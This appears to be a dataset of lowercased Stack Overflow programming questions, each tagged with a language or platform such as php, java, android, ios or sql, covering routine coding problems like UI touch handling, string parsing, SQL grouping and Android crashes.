getting touch events of a touch on imageview in a scrollview  i have a uiscrollview and i am showing some dynamically generated uiimageview over it. now i want to do an action on touch at any of these images. i tried using touchbegn method but it is not being called. please advice me what i am doing wrong.   <pre><code>int numofrows = [arrmyphotos count]/3;     if([arrmyphotos count]%3&gt;0)         numofrows++;     scrlphotolist.contentsize = cgsizemake(320  numofrows*100);     for(int i = 0;i&lt;numofrows;i++) {         x = 10;         j = 0;         while (j&lt;3 &amp;&amp; k&lt;[arrmyphotos count]) {             nsstring *pngfilepath = [[nsstring stringwithformat:@ %@/  docdir] stringbyappendingformat:@ %@  [(nsdictionary*)[arrmyphotos objectatindex:k] objectforkey:@ picname ]];             nslog(@ %@  pngfilepath);             uiimage *img = [uiimage imagewithcontentsoffile:pngfilepath];             if(img!=nil) {                 uiimageview *imgvw = [[uiimageview alloc] init];                 imgvw.image = [self imagebyscalingandcroppingforsize:cgrectmake(0  0  95  95) image:img];                 imgvw.tag = k;                 imgvw.frame = cgrectmake(x  y  95  95);                 imgvw.userinteractionenabled = true;                 imgvw.multipletouchenabled = true;                  [scrlphotolist addsubview:imgvw];                 //k++;                 x = x+105;                 j++;             }             k++;         }         y = y+105;     }     [self.view addsubview:scrlphotolist];    -(void)touchesbegan:(nsset*)touches withevent:(uievent*)event {     uitouch *touch = [[event alltouches] anyobject];     //cgpoint touchlocation = [touch locationinview:self.view];      if(([touch view]).tag&gt;0) {         nslog(@ %d  ([touch view]).tag);     } } </code></pre>,iphone
round up to 5 decimal places in java   i have a sting value contains in exponential    <pre><code>class round{         public static void main(string args[]){         string a = 2.4545776339999877e7 ;         double roundoff = math.round(a);         system.out.println(roundoff);     } } </code></pre>   so i want to round off upto 5 decimal vaue. how to do it please,java
example of working ios project using xsd/e  i want to use the (looks to be) excellent libxsd/e library from here: <a href= http://www.codesynthesis.com/projects/xsde/  rel= nofollow >http://www.codesynthesis.com/projects/xsde/</a>    i have followed the guide to building the binary .a file and the wiki and readme files on setting everything up. however i continue to run into problem after problem trying to compile after linking to the binary and getting the cxx/hxx files from an xsd-source.     from things like not finding string or iterator  dozens of other stl-errors..... i am happy to post them here but what i would really like is a working ios example project if someone has one. something i can just open in xcode and hopefully see where i am going wrong,ios
php page black when echoing multiple divs  every time i try and echo multiple divs useing php the page loads completly blank. i don t understand what im doing wrong. can someone please help me resolve this problem  i am new to php and can t figure this out. -thanks in advanced   <pre><code>echo  &lt;div id= id01  class= w3-modal &gt; &lt;div class= w3-modal-content &gt;   &lt;div class= w3-container &gt;     &lt;span onclick= document.getelementbyid( id01 ).style.display= none   class= w3-button w3-display-topright &gt;&amp;times;&lt;/span&gt;&lt;center&gt;&lt;form method= post  action=  .setcomments($conn).  &gt; &lt;textarea name= title &gt;&lt;/textarea&gt;     &lt;input type= hidden  name= uid  value=  .$_session[ username ].  &gt;     &lt;input type= hidden  name= date  value=  .date( y-m-d h:i:s ).  &gt; &lt;textarea name= description &gt;&lt;/textarea&gt;         &lt;textarea name= message &gt;&lt;/textarea&gt;     &lt;br&gt;     &lt;button type= submit  name= commentsubmit &gt;post!&lt;/button&gt; &lt;/form&gt;&lt;/center&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; ; </code></pre>   ^ above is the code that is not working correctly (the page loads blank) ^,php
animated auto scroll effect to div onclick  i want animated auto scroll to a particular div     my html code    navigation menu   <pre><code>&lt;div class= row &gt; &lt;ul class= icons &gt; &lt;li&gt;&lt;a href= dubai.php &gt;&lt;h4&gt;events&lt;/h4&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= dubai.php &gt;&lt;h4&gt;cinemas&lt;/h4&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= dubai.php &gt;&lt;h4&gt;shopping&lt;/h4&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>   div i want to auto scroll   <pre><code>&lt;div class= event-list &gt;                                &lt;h3&gt;heading&lt;/h3&gt; &lt;p&gt;details&lt;/p&gt; &lt;a href= detail.php&gt; read more..&lt;/a&gt; &lt;/div&gt; </code></pre>,html
i want to animate my pin on the map i wrote the code but it s doing nothing <pre><code>-(mkannotationview *)gumap:(mkmapview *)gumap viewforannotation:(id &lt;mkannotation&gt;)annotation { mkpinannotationview *pinview =(mkpinannotationview *) [gumap dequeuereusableannotationviewwithidentifier:@ pinview ];   if (pinview==nil) {     pinview = [[mkpinannotationview alloc] initwithannotation:annotation reuseidentifier:@ pinview ];     pinview.pincolor= mkpinannotationcolorred;     pinview.canshowcallout = yes;     pinview.animatesdrop = yes;     uibutton *rightbutton = [uibutton buttonwithtype:uibuttontypedetaildisclosure];     pinview.rightcalloutaccessoryview = rightbutton;  } else {    pinview.annotation = annotation; } return pinview; } </code></pre>   this should animate my pin but it s doing nothing i ll be thankful if you solve my problem.,objective-c
how do you customize the login-fields in php to make a site similar to facebook or other popular login sites   for example  with the login i made with a php script  the login boxes (username and password) are blocky (i ve seen rounded corners login-forms) and the spacings are uneven (one is above the other).    is there anyway to customize how login-boxes are designed and aligned in php  similar to how css is used at times (i m not as familiar with css) or within php     http://img845.imageshack.us/i/facebooklogin.jpg vs. http://img577.imageshack.us/i/loginq.jpg/,php
change string in php  i need to  escape  certain characters in a string variable. my approach is to split the string into an array by a single char  loop over array and if the char matches special char  add  \  in front of it. but some part of the following code is incorrect and it crashes the page.    <pre><code>$arrayinput = str_split($newinput); $command =   ;  foreach($arrayinput as $character) {     echo  $character ;     if($character ==  &lt; ){         $character =  \&lt;      } else if ($character ==  &gt; )  {         $character =  \&gt;      } else {     }     command += $character; }  </code></pre>,php
checking for a null datarow  how would i check for a null datetime value in a datarow     the following works with a datareader.   <pre><code>caleventdto.endtime = dr.isdbnull(9)   null : (datetime ) dr.getdatetime(9); </code></pre>   what is the equivalent when checking the following datarow    <pre><code>caleventdto.endtime = (datetime)row[ endtime ];    </code></pre>,.net
angular js seperation into sperate files  in angular 1.6 i have the following controller and html files   <pre><code>&lt;div class= overlay  id= welcomeoverlay &gt;     //substructure     &lt;/div&gt; &lt;div ng-repeat= course in vm.courses track by course.id &gt;    //substructure &lt;/div&gt; </code></pre>   the controller looks like this   <pre><code>    angular     .module( myapp )     .controller( coursescontroller   coursescontroller);  coursescontroller.$inject = [ $scope    $q    $state    course    courseexercises ];  function coursescontroller($scope  $q  $state  course  courseexercises) {      loadall();      function loadall() {        //do loading     }      function openoverlay() {...}     function closeoverlay() {...}  } </code></pre>   the functionallity and everything already works.    what i want to do now is seperate the overlay part into sperate html and js files. to be more specific the functions openoverlay() and closeoverlay() and the html part regarding the overlay should be moved.    what is the best way to do that     is it possible to reroute while still maintaining the list part in the background so just the overlay is displayed  since the overlay has a transparent background     thanks for your help,angularjs
time between two actions  trying to record the time it takes for a user to press one button  and then the next.    here s part of my .m file... i can t get thedate to hold its variable (the start time)  all that happens is i get 0.000 seconds in the log &amp; text label.   <pre><code>- (ibaction)start:(id)sender {      nsdate *thedate = [[nsdate date] init];  }  - (ibaction)stop:(id)sender {     nstimeinterval timeinterval = [thedate timeintervalsincenow];     nsstring *time = [nsstring stringwithformat:@ %f   timeinterval];      _timelabel.text = time;     nslog(time); } </code></pre>   i also have   <pre><code>@property(retain  nonatomic) nsdate *thedate; </code></pre>   in the header file and   <pre><code>@synthesize thedate; </code></pre>   in the top of the .m file.    thanks!    btw i m trying to go off of this post: <a href= https://stackoverflow.com/questions/741830/getting-the-time-elapsed-objective-c >getting the time elapsed (objective-c)</a>,objective-c
installing app on devices(iphone/ipod)  i have developed an application for iphone and ipod touch. now i want to install that app on the device. i have created a provisioning profile for the particular device.     my query is that  now to install the app on a device i have to add the provisioning profile of that device to xcode and after selecting the developer in build option in project info pane i build the project and send the build and provisioning profile to the user.       is there any to install the app without doing the above task of building the project with the provisioning profile.       means i have a build of an app and a newly downloaded provisioning profile. i will send the user both build and profile in a zip file. will the user be able to install the app on his/her device,iphone
angular service coming back as object  i have a service in my angular app called refstorage :   <pre><code>.service( refstorage  function($window){      var refnum = {}  function set(data) {    refnum = data;  }  function get() {   return refnum;  }   return {   set: set    get: get  } }) </code></pre>   when i call this from my controller like this :   <pre><code>var refnum = refstorage.get(); </code></pre>   its returning as <code>[object object]</code>  i was expecting a string. does anyone know why this is,angularjs
ios7 setbackbuttonbackgroundimage image is still stretched  using the following code to set a global navigation back button image:   <pre><code>float imagesize = 21.5; // @2x is 43px width  uiimage *barbackbtnimg = [[uiimage imagenamed:@ arrow-back-white ] resizableimagewithcapinsets:uiedgeinsetsmake(0  imagesize  0  0)];  [[uibarbuttonitem appearance] setbackbuttonbackgroundimage:barbackbtnimg                                                   forstate:uicontrolstatenormal                                                 barmetrics:uibarmetricsdefault]; [[uibarbuttonitem appearance] setbackbuttontitlepositionadjustment:uioffsetmake(0  -60)                                                      forbarmetrics:uibarmetricsdefault]; </code></pre>   original image: <a href= http://cl.ly/xjgd  rel= nofollow >http://cl.ly/xjgd</a> and in-app (being stretched): <a href= http://cl.ly/xkc0  rel= nofollow >http://cl.ly/xkc0</a>    any ideas why the image is still being stretched,ios
parse string to date with timezone offset intact  we have a client sending date to us in string format as <code> 2017-06-14t04:00:00-08:00 </code>. we need to convert it to java date type before working with it.    we are parsing in this way:   <pre><code>simpledateformat formatter = new simpledateformat( yyyy-mm-dd t hh:mm:ssxxx );  dateparsedfromstring = formatter.parse( 2017-06-14t04:00:00-08:00 ); </code></pre>   but we are losing the offset after this parse. when we convert it back to string we are seeing value:    <blockquote>    2017-06-14t08:00:00-04:00  </blockquote>   how can i convert from <code>string</code> to <code>date</code> in java without changing the offset,java
how do i prevent extra space below text in a table cell   i need some help. i am trying to prevent extra space from occurring below the bottom line of text in a table cell. (the table has a rollover link and the text has a 85% line height that are both needed) i ve also tried css to set the line height but same problem. the 3 column table needs to stay at 46px high but expands to 57px high when altering the line height to 85% which is needed. this will be used on a mobile webpage. a solution would be very  very appreciated. thanks.    link to the webpage: <a href= http://www.m.dcgraphicsandphotography.com/table_bg_test10.html  rel= nofollow >http://www.m.dcgraphicsandphotography.com/table_bg_test10.html</a>   <pre><code>    &lt;table class= dsr62  border= 0  cellpadding= 0  cellspacing= 0 &gt;         &lt;tr onmouseover= this.style.background= url(images/button_bg_ov.jpg) ;this.style.cursor= pointer   onmouseout= this.style.background= url(images/button_bg.jpg) ;  onclick= donav( dvd.html/ ); &gt;             &lt;td class= dsr23 &gt;                 &lt;div align= right &gt;                     &lt;img src= images/icon-rgb.gif  alt=   height= 39  width= 40  border= 0  /&gt;&lt;/div&gt;             &lt;/td&gt;             &lt;td class= dsr50 &gt;                 &lt;div align= left &gt;                     &lt;p style= line-height:85%; &gt;&lt;span class= ds3 &gt;&lt;span class= ds4 &gt;dvd transfers&lt;/span&gt;&lt;/span&gt;&lt;span class=  &gt;&lt;span class= ds3 &gt;&lt;span class= ds3 &gt;&lt;br /&gt;                                 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class= ds3 &gt;&lt;span class= ds5 &gt;from videos  photos and slides&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;                 &lt;/div&gt;             &lt;/td&gt;             &lt;td class= dsr25 &gt;&lt;img src= images/button_arrow.gif  alt=   height= 36  width= 35  border= 0  /&gt;&lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; </code></pre>,html
ios app iphone 5s ios 7 app display height  i have developed an app for ios 8 on iphone 5s using storyboard layout.    but i found that when the system is changed to ios 7 display height is changed into does not fit the screen size. iphone 4s screen size show app interface.,ios
error with navigation drawer  hello i am a young belgian developer and follow currently a tutorial on youtube to create a drawer navigation but i get errors when launching the emulator due. <a href= https://www.youtube.com/watch v=zuo3n-djf7w  rel= nofollow >this</a> is the tutorial.    <strong>here are the errors :</strong>   <pre><code>02-10 11:31:12.432 2297-2297/com.example.flori.mylordring e/androidruntime: fatal exception: main process: com.example.flori.mylordring  pid: 2297 java.lang.runtimeexception: unable to start activity componentinfo{com.example.flori.mylordring/com.example.flori.mylordring.mainactivity}: java.lang.nullpointerexception: attempt to invoke virtual method  void android.support.v7.app.actionbar.setdisplayshowhomeenabled(boolean)  on a null object reference     at android.app.activitythread.performlaunchactivity(activitythread.java:2416)     at android.app.activitythread.handlelaunchactivity(activitythread.java:2476)     at android.app.activitythread.-wrap11(activitythread.java)     at android.app.activitythread$h.handlemessage(activitythread.java:1344)     at android.os.handler.dispatchmessage(handler.java:102)     at android.os.looper.loop(looper.java:148)     at android.app.activitythread.main(activitythread.java:5417)     at java.lang.reflect.method.invoke(native method)     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:726)     at com.android.internal.os.zygoteinit.main(zygoteinit.java:616)  caused by: java.lang.nullpointerexception: attempt to invoke virtual method  void android.support.v7.app.actionbar.setdisplayshowhomeenabled(boolean)  on a null object reference     at com.example.flori.mylordring.mainactivity.oncreate(mainactivity.java:31)     at android.app.activity.performcreate(activity.java:6237)     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1107)     at android.app.activitythread.performlaunchactivity(activitythread.java:2369)     at android.app.activitythread.handlelaunchactivity(activitythread.java:2476)     at android.app.activitythread.-wrap11(activitythread.java)     at android.app.activitythread$h.handlemessage(activitythread.java:1344)     at android.os.handler.dispatchmessage(handler.java:102)     at android.os.looper.loop(looper.java:148)     at android.app.activitythread.main(activitythread.java:5417)     at java.lang.reflect.method.invoke(native method)     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:726)     at com.android.internal.os.zygoteinit.main(zygoteinit.java:616) </code></pre>   <strong>and main code :</strong>   <pre><code>package com.example.flori.mylordring;  import android.os.bundle; import android.support.design.widget.floatingactionbutton; import android.support.design.widget.snackbar; import android.support.v4.widget.drawerlayout; import android.support.v7.app.actionbar; import android.support.v7.app.appcompatactivity; import android.support.v7.widget.toolbar; import android.view.view; import android.view.menu; import android.view.menuitem; import android.widget.imagebutton; import android.widget.toast;  public class mainactivity extends appcompatactivity {   private static imagebutton imgview; private int test; int [] images = {r.drawable.im1 r.drawable.im2 r.drawable.im3 r.drawable.im4 r.drawable.im5 r.drawable.im6 r.drawable.im7};   @override protected void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         drawerlayout drawerlayout = (drawerlayout)findviewbyid(r.id.drawerlayout);          actionbar actionbar = getsupportactionbar();         actionbar.setdisplayshowhomeenabled(true);         actionbar.setdisplayhomeasupenabled(true);          toolbar toolbar = (toolbar) findviewbyid(r.id.toolbar);         setsupportactionbar(toolbar);          floatingactionbutton fab = (floatingactionbutton) findviewbyid(r.id.fab);         fab.setonclicklistener(new view.onclicklistener() { @override public void onclick(view view) {                 snackbar.make(view   rolololo   snackbar.length_long)                         .setaction( action   null).show();             }         });     }    public void image(view view){ imgview=(imagebutton)findviewbyid(r.id.imagebutton); imgview.setonclicklistener(new view.onclicklistener() { @override public void onclick(view v){ test++; test = test % images.length; imgview.setimageresource(images[test]);             }         }         );     }  @override public boolean oncreateoptionsmenu(menu menu) { // inflate the menu; this adds items to the action bar if it is present. getmenuinflater().inflate(r.menu.menu_main  menu); return true;     }  @override public boolean onoptionsitemselected(menuitem item) { // handle action bar item clicks here. the action bar will  // automatically handle clicks on the home/up button  so long  // as you specify a parent activity in androidmanifest.xml. int id = item.getitemid();  //noinspection simplifiableifstatement if (id == r.id.action_settings) { return true;         }  return super.onoptionsitemselected(item);     } } </code></pre>   <strong>activity code (i have 2 different activities and this is the content_main  i also have activity_main) :</strong>   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;android.support.v4.widget.drawerlayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:app= http://schemas.android.com/apk/res-auto  xmlns:tools= http://schemas.android.com/tools  android:layout_width= match_parent  android:layout_height= match_parent  android:id= @+id/drawerlayout  android:background= #e2656262  app:layout_behavior= @string/appbar_scrolling_view_behavior  tools:context= com.example.flori.mylordring.mainactivity  tools:showin= @layout/activity_main &gt;      &lt;framelayout android:layout_width= match_parent  android:layout_height= match_parent  android:id= @+id/fragmentholder &gt;     &lt;/framelayout&gt;      &lt;listview android:layout_width= match_parent  android:layout_height= match_parent  android:id= @+id/navlist  android:background= #dedede  android:layout_gravity= start  /&gt;      &lt;textview android:layout_width= wrap_content  android:layout_height= wrap_content  android:text= hello world!  android:id= @+id/textview  android:layout_centervertical= true  android:layout_centerhorizontal= true  /&gt;      &lt;imagebutton android:onclick= image  android:layout_width= wrap_content  android:layout_height= wrap_content  android:id= @+id/imagebutton  android:src= @drawable/im1  android:background= @android:color/transparent  android:layout_above= @+id/textview  android:layout_centerhorizontal= true  /&gt;  &lt;/android.support.v4.widget.drawerlayout&gt; </code></pre>   <strong>the manifest code :</strong>   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.example.flori.mylordring &gt;      &lt;application         android:allowbackup= true          android:icon= @mipmap/ic_launcher          android:label= @string/app_name          android:supportsrtl= true          android:theme= @style/apptheme &gt;         &lt;activity             android:name= .mainactivity              android:label= @string/app_name              android:theme= @style/apptheme.noactionbar &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                  &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;     &lt;/application&gt;  **&lt;/manifest&gt; </code></pre>   <strong>and my2 styles.xml :</strong> this is my style.xml :**   <pre><code>&lt;resources&gt;      &lt;!-- base application theme. --&gt;     &lt;style name= apptheme  parent= theme.appcompat.light.darkactionbar &gt;         &lt;!-- customize your theme here. --&gt;         &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;         &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;         &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt;     &lt;/style&gt;      &lt;style name= apptheme.noactionbar &gt;         &lt;item name= windowactionbar &gt;false&lt;/item&gt;         &lt;item name= windownotitle &gt;true&lt;/item&gt;     &lt;/style&gt;      &lt;style name= apptheme.appbaroverlay  parent= themeoverlay.appcompat.dark.actionbar  /&gt;      &lt;style name= apptheme.popupoverlay  parent= themeoverlay.appcompat.light  /&gt;  &lt;/resources&gt; </code></pre>   <strong>style.xml(v21) :</strong>   <pre><code>&lt;resources&gt;&gt;      &lt;style name= apptheme.noactionbar &gt;         &lt;item name= windowactionbar &gt;false&lt;/item&gt;         &lt;item name= windownotitle &gt;true&lt;/item&gt;         &lt;item name= android:windowdrawssystembarbackgrounds &gt;true&lt;/item&gt;         &lt;item name= android:statusbarcolor &gt;@android:color/transparent&lt;/item&gt;     &lt;/style&gt;  &lt;/resources&gt; </code></pre>,android
sub query issue  i have the query below which is causing me issues.  it is totaling fine however as i have different service dates its grouping by distinct then servicedate  but i just want distinct districts with the totals next. how can i get round this as i m confused now!!!   <pre><code>select distinct(district)           sum(completed) as totalcompleted           monthname          month  from( select  tbl_property.district          tbl_service.servicedate           datename(month  servicedate) as monthname          convert(int convert(varchar datepart(year  servicedate) +  00 )) + datepart(month  servicedate) as month          count(tbl_property.propref) as completed  from tbl_service inner join tbl_property on tbl_service.propref = tbl_property.propref   where (tbl_property.contract = ma2 ) and          (lastservicedate between  01/jun/2009  and dateadd(hh 23  15/jun/2009 )) and          (not (tbl_service.billcode1 =  na )) and           (tbl_service.status =  serviced ) and          (propertyclass =  cont )   group by district  servicedate ) as sub1  group by district  monthname  month  completed </code></pre>   example data    so for example i currently see     district1 - 2 - june  district1 - 5 - june     and i want to see     district1 - 7 - june,sql
iphone table not updating every time page loads  how is it possible to manually refresh a table everytime the table view controller is loaded. i want it to refresh every time the view controller is initialized. my app table only upgrades once the app is closed down and restarted>,iphone
what is the reason behind this infinite loop   i m new to java  i wrote a code to practice loops  and here is it:   <pre><code>public class scratch {      public static void main(string args[]) {          int value = 0;         boolean myboolean = (value &lt; 5);          while(myboolean) {              system.out.println(value);             value = value + 1;         }     } } </code></pre>   when i run it  i get an infinite loop  but if i change the  while  argument like this:   <pre><code>public class scratch {      public static void main(string args[]) {          int value = 0;         boolean myboolean = (value &lt; 5);          while(value &lt; 5) {              system.out.println(value);             value = value + 1;         }     } } </code></pre>   it works and here is the output:   <pre><code>0 1 2 3 4 </code></pre>   can you please tell me what i m missing here  thank you!,java
what is the method to do that   hello if i have a code like this  the user should input the locations  of exams     <pre><code># include &lt;iostream&gt;   using namespace std ;  int main ()  {    string halls [100] ;  for (int  i=0;i &lt;99;i++) {  cin &gt;&gt; halls [i];  }   return 0;  } </code></pre>   so  if there is repeated halls in them and i want to output the number of halls but  the repeated   halls  are not taking into consideration   for example ( hall 1 ; hall 2   hall 2 ) so i have number of hallstudents 2 not 3 . how can i do that    will what i tried to do is to try to put  the first element in the halls array in  another array  then when trying to put another element in the second array i will try to do condition to ask if the second element is  the same as the first if it is i won t put  if not i will   but i do not know how i will do that    any help please,c++
php string edit - simple  i am creating a website that pulls data from a csv file and then displays the album artwork that matches the album and artist however i ve hit a snag... the file presents artists as either a band (example: u2) or the artist (dylan  bob) the later does not work with the api.    i ve tried to no success to edit the string so if it sees     it will then rearrange the artist from <code>last  first</code> to <code>first last</code>    does anyone know a solution to this     cheers!,php
how to conect php with tally   i want to connect php with tally and i want to store ledger in tally with php any idea      i got reference from different site like :   <pre><code>   1) http://www.tallysolutions.com/website/html/tallydeveloper/integration-capabilities.php    2)http://stackoverflow.com/questions/15717941/how-to-insert-data-into-tally-using-php </code></pre>   but it doesn t fulfill my requirement.    thanks in advance,php
adding custom icon to html page  i found this way to add default icons to any html page using i element : <a href= http://www.w3schools.com/w3css/w3css_icons.asp  rel= nofollow >w3.css icons</a>    can i use the same way to have custom icon with the same way by adding my image     adding markup after changes :   <pre><code>                      &lt;li class= treeview &gt;                     &lt;a href= # &gt;&lt;span class= icon &gt;&lt;/span&gt;&lt;span&gt;main itmes&lt;/span&gt; &lt;i class= fa fa-angle-left pull-right &gt;&lt;/i&gt;&lt;/a&gt;                     &lt;ul class= treeview-menu &gt;                         &lt;li&gt;                             &lt;a href= /page1.aspx &gt;item1&lt;/a&gt;                         &lt;/li&gt;                         &lt;li&gt;                             &lt;a href= /page2.aspx &gt;item2&lt;/a&gt;                         &lt;/li&gt;                                                     &lt;li&gt;                             &lt;a href= /pagee3.aspx &gt;item3&lt;/a&gt;                         &lt;/li&gt;                     &lt;/ul&gt;                 &lt;/li&gt;  </code></pre>   css :   <pre><code>        &lt;style&gt;             .icon {         background: url( images/logo.png );         height: 20px;         width: 20px;         display: block;         /* other styles here */     }   &lt;/style&gt; </code></pre>,html
extracting numbers in word format from a string  so what i am trying to do is extract numbers that are in word format in a long string  i.e. a song  and return each of their numerical values  in order to add them all up. so i d like to calculate the sum of all of the numbers in the text. this has to work for any piece of text and for all numbers up to a trillion.    so i broke the string down into tokens and stored them in a string []. and i divided up the possible numbers in word format into:   <ul> <li>largest: thousand  million  billion  trillion</li> <li>hundred: hundred</li> <li>tens: twenty  thirty  forty  fifty  sixty  seventy  eighty  ninety</li> <li>units: one  two  three  four  five  six  seven  eight  nine</li> <li>specials: ten  eleven  twelve  thirteen  fourteen  fifteen  sixteen  seventeen  eighteen  nineteen</li> </ul>   i believe that these are the only words that it will need to recognize. i began reading the tokenized string from right to left and then when i came across a unit  special or tens as the first number i hit  i would then set it s numerical value and check if the word before was also a number and whether to add or multiply etc. i.e. first number hit is a two  if the number before is sixty  then i would just add it to sixty and check the word before that and so on. however  when implementing it  it seems like an extremely long way around it. does anyone have any ideas of how i could implement this in a swifter manner  thanks for any replies  it is greatly appreciated and if i am not making it clear what i need to do then please say so. an example of it working would be:  nine million rockets turned three times and met twenty two aliens   it would extract  <code>twenty two</code> as <code>2</code>  then <code>20 = 22</code>  then extract three as 3  and then nine million as <code>1 000 000 x 9 = 9 000 000</code>   <pre><code>9 000 000 + 22 + 3 = 9 000 025 </code></pre>,java
jquery reload button and change value  hello so i m making a chat app using long-polling  ajax etc.     what i wanted to do is when i clicked the  send  button i wanted the value of the button to be changed to  please wait..  and will be refreshed and go back to value  send .     for now this is my code when the  send  button is clicked:   <pre><code>$( #btnsend ).val( please wait.. ); </code></pre>   it does work but it won t get back to  send  value. any thoughts  thanks!,jquery
how to animate a view being removed from a viewpager   i have a viewpager in which i programmatically remove a view and set it to a new page  a little bit like this:   <pre><code>private static class profilespageradapter extends fragmentstatepageradapter {         private arraylist&lt;sherlockfragment&gt; mviews = new arraylist&lt;sherlockfragment&gt;();         ... }    mprofilespageradapter.mviews.remove(position); mviewpager.setadapter(mprofilespageradapter); mviewpager.setcurrentitem(newpos); </code></pre>   is there a way i could put an animation on the view that is being removed,android
how to get application window from android.app.aplication  i am developing android library which should be able to log all touch events.     i am able to do that by overriding window callback by:   <pre><code>//set window.callback for getting touch event      final window window = context.getwindow();     final window.callback localcallback = window.getcallback();     window.setcallback(new mywindowcallback(localcallback)); </code></pre>   i am developing library so i need some way to get application s context to be able to get window by context.getwindow(). i found one solution suggesting:   <pre><code>private static application getapplicationcontext() throws classnotfoundexception  nosuchmethodexception  illegalaccessexception  invocationtargetexception { context context; final class&lt; &gt; activitythreadclass =         class.forname( android.app.activitythread ); final method method = activitythreadclass.getmethod( currentapplication ); context = (application) method.invoke(null  (object[]) null); log.d(tag_   context is   + context); application = (application)context; return application;} </code></pre>   but this returns android.app.application and somehow i need to get activity from this returned instance  because i can call getwindow() only on activity instance.    so question is  how to get activity instance from returned application instance     thanks,android
how can i split a txt file which contains ;s in c   i want to split this txt file. how can i split it from semicolons  it must be in c.    x.txt:   <pre><code>stack;can;3232112233;asdasdasdasd </code></pre>   result   <pre><code>string[0]=stack string[1]=can </code></pre>   etc.,c
subshell redirection like operation in c++   i am using a c++ library that takes a file path  not a file handle or descriptor. i currently run my program as   <pre><code>./my_prog path_to_file </code></pre>   where <code>path_to_file</code> is the filename i will pass to the library. these files are often gzipped  and so i need to have a wrapper program that does something like   <pre><code>./my_prog &lt;(zcat path_to_gzipped_file) </code></pre>   when the file is gzipped. what are some good options for doing that same sort of operation  but inside c++  i.e. in c++  i determine if the file is gzipped (i m happy to just check the file extension)  create something like a named pipe whose other end is connected to <code>zcat</code> and pass in the name of the pipe to the library,c++
how can i react on an uiapplicationdidreceivememorywarningnotification   when memory becomes low  the system would send that uiapplicationdidreceivememorywarningnotification notification. but i don t get it... that isn t a method i must implement in my app delegate  right  how do i get this notification,iphone
how to check if optional class argument is supplied or not   say i have this struct   <pre><code>struct float2 {     float x;     float y; } </code></pre>   and then there is some constructor somewhere   <pre><code>struct constructable {     constructable(float2 opt = float2()) {         if (opt == float2()) { //doesn t work             //fill out opt with default values         }     } } </code></pre>   how do i check whether or not something was passed through opt,c++
sql remove duplicate rows when counting  i have a select statement using count and since i am counting the rows instead of returning them how do i make sure that i do not get a duplicate value on a column     for example   <pre><code>_table_ fname     somefield eric       data kyle       mdata eric       emdata andrew     todata </code></pre>   i want the count to be 3 because eric is duplicated  is there a way to do that  my select is:   <pre><code>select count(*) from _table_ into :var </code></pre>   thanks,sql
how to add selected songs from music gallery in android  i want to open the music gallery and then add the selected song to a list.after selecting the song will move to another screen.after that i want to play the selected songs one by one. i tried the below code but it open the library and play the selected song once clicked.   <pre><code>final intent intent2 = new intent(intent.action_get_content);           intent2.settype( audio/* );           startactivityforresult(intent2  1); </code></pre>   thanks in advace.,android
uitableview set in storyboard not showing ios7  i have a uiviewcontroller in which i have added a uitableview (all in my storyboard file). i have set the table view to grouped and static cells. in the tableview i have added a few images  uibuttons  etc. when i run the app  the table view does not appear. the tableview is set to its normal class (the uitableview class  and not a custom class). i don t need any of the codes  all i want is the layout of the storyboard to be shown. the tableview is used only as a graphical element (a picture of it would be the same) and not through its features.,ios
how to add an arow button in horizontal scrollview  !<a href= https://i.stack.imgur.com/yjxvx.jpg  rel= nofollow noreferrer >this is the example which done in ipad. i want similar to this</a>i have a horizontal scrollview  in this view i want to add a transparent arrow image denoting scroll and it should be invisible when the scroll works. but it should visible when the scroll is not working. is there any code.  please help.. thanks in advance.,android
novice: testing fermat s theorem with simply user input(a b c n) and if/else statement of whether the theorem holds   i am a complete novice on my first week of programming (quit my job and am doing self-study coursework) and i am stuck on a problem in the book  think python: how to think like a computer scientist  in regards to simply testing fermat s last theorem. posted below is the exercise:    <em>exercise 3</em>    <em>fermat’s last theorem says that there are no positive integers a  b  and c such that an + bn = cn for any values of n greater than 2.</em>    <em>write a function named check_fermat that takes four parameters—a  b  c and n—and that checks to see if fermat’s theorem holds. if n is greater than 2 and it turns out to be true that</em>    <em>an + bn = cn</em>    <em>the program should print  “holy smokes  fermat was wrong!” otherwise the program should print  “no  that doesn’t work.”</em>    <em>write a function that prompts the user to input values for a  b  c and n  converts them to integers  and uses check_fermat to check whether they violate fermat’s theorem.</em>    here is my current code:   <pre><code>#user input is going to define the variables def a():     print raw_input( please enter the value for  a :  )  def b():     print raw_input( please enter the value for  b :  )  def c():     print raw_input( please enter the value for  c :  )  def n():     print raw_input( please enter the value for  n :  )  #create function to check the theorem def fermat_theorem_check(a b c n):     if (a**n) + (b**n) == (c**2):         print  holy crap! fermat was wrong!      else:         print  fermat is right!   fermat_theorem_check(a b c n) </code></pre>   can you please explain what i am doing wrong  i don t want quick solutions  i want to know why my thought process is wrong and how i can understand the function s i am trying to use! <code>fermat_theorem_check(a b c n)</code>,python
the quote box will go down and up as per the scrolling of the home page.  the quote box will go down and up as per the scrolling of the home page.    <a href= http://cybernician.co.in/medical2/index.html  rel= nofollow >http://cybernician.co.in/medical2/index.html</a>,html
